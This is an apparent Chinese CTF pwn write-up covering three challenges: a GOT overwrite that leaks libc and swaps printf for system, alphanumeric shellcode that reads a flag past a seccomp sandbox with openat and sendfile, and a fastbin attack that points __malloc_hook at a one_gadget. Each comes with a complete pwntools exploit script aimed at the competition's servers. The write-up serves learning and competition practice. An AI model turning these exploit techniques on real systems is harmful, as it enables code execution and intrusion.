beverage store(伪随机数破解+调用libc函数+修改GOT表)
题目实现了这样一个功能,取当前时间作为随机数种子,然后产生随机数,判断输入是产生的随机数,否则就终止程序。

srand和rand是伪随机数,只要seed一样,rand的值就一样。那就可以在脚本里面计算rand值,然后输入就行,重点是怎么调用libc库函数,不能直接用elf。
libcfunc=ctypes.cdll.LoadLibrary(“libc.so.6”)
libcfunc.srand(libcfunc.time(0))
a=str(libcfunc.rand()).encode()
输入正确后进入buy函数:

buy函数可以实现一定程度上的地址写,因为只规定了v0不能大于4,但是可以是负值,也就是说可以往section变量前面的地址写

GOT表在前面:


题目给了半个后门:

也就是要把printf改成system,但是题目并没给system函数,所以还得泄露一下其他函数的地址来计算libc偏移
但是直接改不行,因为改完后程序就终止了,得先把exit改成buy函数,这样就能无限利用,第二次泄露puts函数计算system函数地址,第三次把print改成system,然后第四次把exit改成后门函数就能getshell.
这里我卡了很久,错误写法:
#leak system addr
p.sendlineafter("wine\n",b'0')
p.sendafter("choose\n",p64(elf.got['puts']))
p.recvuntil("succeed\n")
puts = u64(p.recv(6).ljust(8,b'\x00'))
libcbase=puts-libc.sym["puts"]
system=libcbase+libc.sym["system"]
print(hex(puts))
print(hex(libcbase))
上述写法只是把elf.got表的puts地址打了出来,而puts的真正地址是该处的值!!
所以应该把偏移设置到puts的got表地址处,然后让程序读出来,这里有个问题就是我们必须往这个地址写入一点东西才能继续,就会把puts真正地址覆盖掉一部分,所以先用gdb来看puts真正地址是什么,然后填入被覆盖掉的数值就行:

可以发现是\x50,所以写入\x50就行
p.sendlineafter("wine\n",b'-8')
p.sendafter("choose\n",b'\x50')
p.recvuntil("succeed\n")
puts = u64(p.recv(6).ljust(8,b'\x00'))
libcbase=puts-libc.sym["puts"]
system=libcbase+libc.sym["system"]

完整exp如下:
from pwn import *
import ctypes
context.log_level="debug"
p = process("/home/monke/guochengbei/3/pwn")
elf=ELF("/home/monke/guochengbei/3/pwn")
p = remote("125.70.243.22", 31496)
libc=ELF("/home/monke/guochengbei/3/libc.so.6")
libcfunc=ctypes.cdll.LoadLibrary("libc.so.6")
section=0x4040a0
p.sendlineafter("input yours id",b'a')
libcfunc.srand(libcfunc.time(0))
payload=str(libcfunc.rand()).encode()
p.sendlineafter("Input yours id authentication code:\n",payload)
#exit->buy
p.sendlineafter("wine\n",str(int((elf.got['exit']-section)/16)))
p.sendafter("choose\n",p64(elf.sym['buy']))
#leak system addr
p.sendlineafter("wine\n",b'-8')
p.sendafter("choose\n",b'\x50')
p.recvuntil("succeed\n")
puts = u64(p.recv(6).ljust(8,b'\x00'))
libcbase=puts-libc.sym["puts"]
system=libcbase+libc.sym["system"]
#printf->system
p.sendlineafter("wine\n",str(int((elf.got['printf']-section)/16)))
p.sendafter("choose\n",p64(system))
#exit->backdoor
p.sendlineafter("wine\n",str(int((elf.got['exit']-section)/16)))
p.sendafter("choose\n",p64(elf.sym["vuln"]))
p.interactive()
Alpha_Shell(插件去除花指令,沙箱禁用ORW)
进来没看见main函数,找了一番终于找到,应该是有花指令

可以看到main函数里面的jz jnz 是很明显的花指令,这里有两个办法
1:直接跳过main,点击code,然后按P转换函数,就能反编译,main函数只是多了个初始化init,但是这种反编译出来比较繁琐难懂

2.用插件nomoreflower:

然后点击main函数,P转换成函数,就能反编译出来,这种方法更正确:

逻辑很简单,就是直接执行shellcode,但是限定只能用数字字母,而且还用了沙箱。
直接终端用seccomp-tools dump不出来哪些被禁用了,因为seccomp-tools得到启动沙箱的命令才能检测到,有两种方法,一个是在脚本里面开:p=process(‘seccomp-tools dump /home/monke/guochengbei/1/attachment’,shell=True)

或者在终端输入ctrl d:

也可以手动看:

对比系统调用号https://blog.csdn.net/qq_29343201/article/details/52209588
发现禁用了execve open write read 等函数,需要另辟蹊径。
使用openat+sendfile
sendfile可以同时完成read+write的功能

用ae64生成纯字母数字shellcode,我一开始打不通,是因为没有设置寄存器,通常call shellcode时候都会把shellcode地址放一个寄存器里面:

所以payload要这样写:
payload= AE64().encode(asm(shellcraft.openat(-100,”flag”)+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0)),’rdx’)
实测不用exit0也可以:
payload= AE64().encode(asm(shellcraft.openat(-100,”flag”)+shellcraft.sendfile(1,3,0,100)),’rdx’)
完整exp如下:
from pwn import*
from ae64 import AE64
context(arch="amd64", os="linux", log_level="info")
p=remote("125.70.243.22",31389)
#p = process("/home/monke/vmcourse_pwn/7/pwn.bin")
payload= AE64().encode(asm(shellcraft.openat(-100,"flag")+shellcraft.sendfile(1,3,0,100)),'rdx')
print(payload)
p.send(payload)
p.interactive()
vtable_hijack(unsortedbin leak+fastbin attack by uaf)
菜单题,有UAF和edit任意溢出
思路是,先用unsorted bin来泄露并计算所需函数地址,然后用fastbin attack劫持malloc_hook为one gadget
unsorted bin泄露:
add(0,0x80) #0
add(1,0x60) #1
delete(0)
show(0)
main_arena_add88=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
然后就是动调来算偏移,计算目标函数地址,不多说了
接着是fastbin attack:
用UAF来打fastbin attack,思路是先释放一个chunk 进入fastbin,然后用uaf改写这个chunk的指针为malloc_hook-0x23,再申请两个chunk就能拿到malloc_hook-0x23,改写malloc_hook为one_gadget就行
delete(1)
edit(1,0x8,p64(malloc_hook_addr-0x23))
print(hex(malloc_hook_addr-0x23))
add(2,0x60)#2
add(3,0x60)#3
payload=cyclic(0x13)+p64(one_gadget)
edit(3,len(payload),payload)
有两个注意的地方:
1.为什么不直接申请到malloc_hook,要申请到malloc_hook-0x23:
因为fastbin有检查,malloc_hook处过不了检查,而malloc_hook-0x23处刚好是7f(不同版本会有差异,得动调),如果申请的fastbin chunk在0x70-0x80,也就是malloc的0x60-0x70之间时就能满足大小检测。这就是为什么要add(0x60)和fd指针得修改成malloc_hook-0x23
2.为什么最后payload是cyclic(0x13)而不是0x23,因为指针指向的是chunk头,chunk头大小占0x10。
完整exp:
from pwn import *
context.log_level='info'
#io=remote("125.70.243.22",31148)
io=process('/home/monke/guochengbei/4/pwn')
def add(index,size):
io.sendlineafter(b'choice:',b'1')
io.sendlineafter(b'index:',str(index))
io.sendlineafter(b'size:',str(size))
def delete(index):
io.sendlineafter(b'choice:',b'2')
io.sendlineafter(b'index:',str(index))
def show(index):
io.sendlineafter(b'choice:',b'4')
io.sendlineafter(b'index:',str(index))
def edit(index,length,content):
io.sendlineafter(b'choice:',b'3')
io.sendlineafter(b'index:',str(index))
io.sendlineafter(b'length',str(length))
io.sendlineafter(b'content',content)
add(0,0x80) #0
add(1,0x60) #1
delete(0)
show(0)
io.recvuntil("\n")
main_arena_add88=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
libc=ELF('/home/monke/guochengbei/4/libc.so.6')
malloc_hook_addr = main_arena_add88-0x68
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
print(hex(libc_base))
print(hex(malloc_hook_addr))
one_gadget = libc_base + 0xd5c07
system=libc_base+libc.sym["system"]
delete(1)
edit(1,0x8,p64(malloc_hook_addr-0x23))
print(hex(malloc_hook_addr-0x23))
add(2,0x60)#2
#gdb.attach(io)
add(3,0x60)#3
#gdb.attach(io)
payload=cyclic(0x13)+p64(one_gadget)
edit(3,len(payload),payload)
#gdb.attach(io)
add(4,0x10)#2
io.interactive()

注意:one_gadget只有最后一个能通,而且有时候打不通,要多试几次!